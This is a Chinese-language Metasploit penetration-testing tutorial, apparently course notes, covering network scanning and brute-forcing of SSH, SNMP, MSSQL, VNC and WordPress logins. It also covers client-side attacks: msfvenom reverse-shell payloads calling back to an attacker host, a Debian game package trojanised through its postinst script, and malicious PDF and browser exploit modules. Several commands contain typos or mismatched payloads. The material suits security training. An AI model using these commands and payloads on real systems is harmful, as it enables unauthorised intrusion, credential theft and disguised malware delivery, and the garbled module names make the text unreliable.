失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > Kali Linux渗透测试——MSF实战篇(一)

Kali Linux渗透测试——MSF实战篇(一)

时间:2022-02-05 19:55:10

相关推荐

Kali Linux渗透测试——MSF实战篇(一)

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

文章目录

一、信息收集(一)db_nmap(二)Auxiliary模块1.arp扫描2.端口扫描3.空闲扫描4.UDP扫描5.密码嗅探6.SNMP扫描(161端口)6.SMB扫描(445端口)7.SSH扫描(22端口)8.扫描Windows缺少的补丁9.mssql扫描(TCP 1443或者UDP 1434端口)10.ftp扫描(21端口)二、漏洞扫描1.VNC密码破解2.RDP远程桌面漏洞3.设备后门4.VMWare ESXi密码爆破5.http漏洞扫描6.漏洞扫描三、客户端渗透(一)利用可执行文件运行payload1.针对Windows系统2.针对Linux系统(二)利用普通文件运行payload1.利用Adobe Reader漏洞执行Payload2.利用Flash插件漏洞执行Payload3.利用IE浏览器漏洞执行Payload4.利用JRE漏洞执行Payload

一、信息收集

所利用的模块基本在auxiliary/scanner/目录中,同时也可以利用强大的nmap工具进行扫描,Metasploit中集成了db_nmap,把nmap扫描的结果存入数据库。

(一)db_nmap

db_nmap -sn 10.10.11.151/24

图1 db_nmap命令使用

(二)Auxiliary模块

在auxiliary/scanner/.目录下有非常多扫描模块,这里只介绍常用的部分

1.arp扫描

search arpuse auxiliary/acanner/discovery/arp_sweepset INTERFACE eth0set RHOSTS 10.10.11.151/24set THREADS 20 #设置线程数run

2.端口扫描

search portscanuse auxiliary/scanner/portscan/syn #也可以用ack、tcp连接等方式set INTERFACE/RHOSTS/THREADS/PORTS run #扫描指定主机的指定端口

3.空闲扫描

空闲扫描原理:为了降低在扫描过程中被发现的概率,通常可以使用空闲扫描(idle scan),让僵尸机充当扫描任务,注意要找一台TCP序列预测成功率高的僵尸主机,这个僵尸主机必须尽可能的空闲,比如说网络打印机就是一个很好地选择,因为网络打印机不仅存在着恒定的网络资源,而且很难预测它们的TCP序列。具体如下:

(1)向僵尸主机发送SYN/ACK数据包,获得带有分片ID(IPID)的RST报文

(2)发送使用僵尸主机IP地址的伪数据包给目标主机

(3)如果目标主机端口关闭,就会向僵尸主机响应RST报文。如果目标端口开放,目标主机向僵尸主机响应SYN/ACK报文,僵尸主机发现这个非法连接响应,并向目标主机发送RST报文,此时IPID号开始增长。

(4)通过向僵尸主机发送另一个SYN/ACK报文已退出上述循环并检查将是主机RST报文中的IPID是否每次增长2,同时目标主机的RST每次增长1。

(5)重复上述步骤直到检测完所有的端口

#首先要发现ipid递增的僵尸机search ipiduse auxiliary/scanner/ip/ipidseqset INTERFACE/RHOSTS/THREADSrun

图1 ipidseq模块使用命令使用

#然后使用nmap进行空闲扫描db_nmap -Pn -sI 10.10.11.113 10.10.11.122

4.UDP扫描

use auxiliary/acanner/discovery/udp_sweepset RHOSTS 10.10.11.120-10.10.11.160runuse auxiliary/scanner/discovery/udp_probeset RHOSTS 10.10.11.120-10.10.11.160run#两个模块扫描类似

5.密码嗅探

#psnuffle模块支持从pcap抓包文件中提取密码#功能类似dsniff#目前只支持pop3、imap、ftp、http get协议use auxiliary/sniffer/psnuffleset PCAPFILE#设置该参数后,run会从此pcap文件中提取账号密码

6.SNMP扫描(161端口)

简单网络管理协议(Simple Network Managemant Protocol,SNMP)能够对网络节点设备的接口流量、数据等信息进行统计,当然后按一定的格式保存起来。用户设备向路由器发送请求,获取数据,数据的格式和内容就是SNMP所规定的,采用UDP 161端口通信。

#针对Linux系统vim /etc/default/snmpd #虚拟机中侦听地址默认为自身,先需要将侦听地址修改为0.0.0.0use auxiliary/scanner/snmp/snmp_login #需要设置爆破密码的字典set PASS_FILE/THREAD/RHOSTSrunuse auxiliary/scanner/snmp/snmp_enum #枚举snmp的配置信息set RHOSTSrun#针对Windows系统use auxiliary/scanner/snmp/snmp_enumusersuse auxiliary/scanner/snmp/snmp_enumshares

6.SMB扫描(445端口)

#输入用户名和密码后的消息会更具体use auxiliary/scanner/smb/smb_version#SMB版本、系统版本扫描use auxiliary/scanner/smb/pipe_auditor#扫描命名管道,判断SMB服务类型use auxiliary/scanner/smb/smb_enumusers #枚举用户use auxiliary/scanner/smb/smb_enumshares #枚举共享

7.SSH扫描(22端口)

use auxiliary/acanner/ssh/ssh_version#SSH版本、系统版本扫描use auxiliary/acanner/ssh/ssh_login #SSH密码爆破set RHOSTS/USER_FILE/PASS_FILE runuse auxiliary/scanner/ssh/ssh_login_pubkey #SSH公钥登录set KEY_FILE id_rsaset USERNAME rootrun

8.扫描Windows缺少的补丁

use post/windows/gather/enum_patchesset SESSION x #基于已经获取的session x,其中KB表示补丁编号(在微软官网上可以找到补丁编号)run #查询目标主机是否缺少设置的KB补丁,并列出缺少可能存在的漏洞

图3 enum_patches模块使用

注:KB4012598、KB4013389、KB4012212、KB4012606、KB4013198、KB4013429等都是永恒之蓝漏洞补丁,针对不同的Windows操作系统

9.mssql扫描(TCP 1443或者UDP 1434端口)

mssql是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,mssql利用TCP 1443端口(动态)或者UDP 1434端口。

use auxiliary/scanner/mssql/mssql_ping #扫描mssql端口use auxiliary/scanner/mssql/mssql_login #爆破mssql密码use auxiliart/scanner/mssql/mssql_exec #破解数据库密码后,远程执行代码

10.ftp扫描(21端口)

use auxiliary/scanner/ftp/ftp_version #扫描ftp版本use auxiliary/scanner/ftp/ftp_anonymous #确认ftp服务是否是匿名登录use auxiliary/scanner/ftp/ftp_login#ftp密码爆破登录

二、漏洞扫描

根据信息收集结果搜索漏洞利用模块结合外部漏洞扫描系统对IP地址段进行批量处理
1.VNC密码破解

VNC指虚拟网络控制台的,是一款远程控制工具

use auxiliary/scanner/vnc/vnc_login#VNC密码破解set BLANK_PASSWORDS yes #空密码检查开启use auxiliart/scanner/vnc/vnc_none_auth #判断VNC是否无认证访问

2.RDP远程桌面漏洞

#远程桌面服务端口3389use auxiliary/scanner/rdp/ms12_020_check #扫描目标主机是否存在RDP漏洞

3.设备后门

use auxiliary/scanner/ssh/juniper_backdoor #检测目标主机是否存在juniper漏洞use auxiliary/scanner/ssh/fortinet_backdoor #检测目标主机是否存在fortinet漏洞

4.VMWare ESXi密码爆破

use auxiliary/scanner/vmware/vmauthd_login #ESXi密码爆破use auxiliary/scanner/vmware/vmware_enum/vms #爆破密码后,列出ESXi所有的虚拟机,然后进一步进行管理use auxiliary/admin/vmware/poweron_vm #进一步远程开启虚拟机

5.http漏洞扫描

use auxiliary/scanner/http/cert #查看证书是否过期use auxiliary/scanner/http/dir_listing #查看是否存在目录列出的漏洞use auxiliary/scanner/http/files_dir #爬取文件目录use auxiliary/scanner/http/dir_webdav_unicode_bypass #WebDAV Unicode编码身份验证绕过use auxiliary/scanner/http/tomcat_mgr_login #Tomcat管理登录use auxiliary/scanner/http/verb_auth_bypadd #基于HTTP方法的身份绕过use auxiliary/scanner/http/wordpress_login_enum set URI /wordpress/wp-login.php #Wordpress密码爆破

WEB漏洞扫描可以用WMAP插件,WAMP会调用MSF的扫描模块

load wmapwmap_sites -a http://1.1.1.1 #要扫描的目标网站wmap_sites -l #列出扫描的目标wmap_targets -t http://1.1.1.1/mutillidae/index.php #指定具体的站点目标wmap_run -t #-t表示wmap调用的扫描模块

6.漏洞扫描

Metasploit没有专门开发漏扫工具,而是采用调用目前已经非常成熟的漏扫软件,结合漏扫报告或者调用插件完成漏洞扫描功能。可以先用扫描器(nessus、openvas等)扫描目标,导出扫描报告,然后用MSF导入报告文件:(较为直观,常用)

db_import openvas.nbe #导入openvas的扫描文件openvas.nbe

也可以加载插件,如:

load nessus nessus_helpnessus_connect admin:asdf@10.10.11.122 #连接nessus服务器nessus_pulicy_list #查看nessus服务器扫描策略nessus_scan_new POLICY_UUID #创建POLICY_UUID策略扫描任务nessus_scan_launch SCAN_ID #执行扫描SCAN_IDnessus_report_list #列出扫描报告

三、客户端渗透

(一)利用可执行文件运行payload

在无法突破网络边界的情况下转而攻击客户端,利用含有漏洞利用代码的WEB站点,或含有漏洞的文档,或者上传Payload,诱使攻击目标访问这些文件。

1.针对Windows系统

msfvenom是Metasploit的Payload生成器,利用其可以生成针对不同平台的木马脚本

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -e x86/shikata -i 9 -f exe -o 1.exe# -x和-k参数一般同时使用# -x:表示与现有软件绑定在一起# -k:表示在现有程序基础上另开一个线程运行,这样才不会覆盖原程序

handler模块是一个生成在metasploit框架外执行的程序的平台,用于启动端口侦听,为反弹shell提供接口

use exploit/multi/handler #反弹shell前提是攻击方要开启端口监听set payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.11.151set LPORT 4444exploit #启动端口侦听,攻击目标运行1.exe后,就会反弹至服务器端

2.针对Linux系统

apt-get --download-only install freesweep #下载扫雷游戏DEB包dpkg -x freesweep_0.90-1_i386.deb free #解压下载的DEB包到free目录mkdir free/DEBIAN && cd free/DEBIAN vim control #创建控制文件vim postinst#安装DEB后执行的shell脚本sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweepmsfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\00" -f elf -o /root/free/usr/games/freesweep_scoreschmod 755 postinstdpkg-deb --build /root/free#重新打包生成DEB包use exploit/multi/handlerset payload windows/shell/reverse_tcpset LHOST 10.10.11.151set LPORT 4444exploit#启动端口侦听,攻击目标运行1.exe后,就会反弹至服务器端

(二)利用普通文件运行payload

一般用户对运行外部可执行文件都有防范,攻击目标中招的可能性较低,因此要进一步将payload植入隐蔽性较强的文件。

1.利用Adobe Reader漏洞执行Payload

use exploit/windows/fileformat/adobe_utilprintf set payload windows/meterpreter/reverse_tcp#尽量选择meterpreter的shell,因为功能较多set RHOST/RPORTexploit #构造pdf文件 use exploit/multi/handlerset payload windows/shell/reverse_tcpset LHOST 10.10.11.151set LPORT 4444exploit #启动端口侦听,攻击目标运行pdf文件后,就会反弹至服务器端

use exploit/windows/browser/adobe_utilprintf #构造恶意网站set SRVPORT 80set URI / #URI如果不指定,则会生成随机码地址 set payload windows/meterpreter/reverse_tcprun#攻击者一旦访问构造的URL,就会反弹shell

2.利用Flash插件漏洞执行Payload

use exploit/multi/browser/adobe_flash_hacking_team_uaf #生成URL,用户一旦访问,并且客户端Flash存在漏洞,就会反弹shell给服务器端use exploit/multi/browser/adobe_flash_opaque_background_uaf #同上use auxiliary/server/browser_autopwn2 #与以上不同的是无需设置payload,该模块会自动指定评级较高的payload,启动多个进程

3.利用IE浏览器漏洞执行Payload

use exploit/windows/browser/ms14_064_ole_code_exeset SRVPORT/URIPATH/LHOST/payloadrun #原理同上

4.利用JRE漏洞执行Payload

#访问网站有java漏洞利用代码,客户端JRE如果存在漏洞,一旦访问运行就会中招use exploit/multi/browser/java_jre17_driver_manageruse exploir/multi/browser/java_jre17_jmxbeanuse exploir/multi/browser/java_jre17_reflection_typesuse payload/android/meterpreter/reverse_tcpgenerate -f a.apk -p android -t raw

如果觉得《Kali Linux渗透测试——MSF实战篇(一)》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。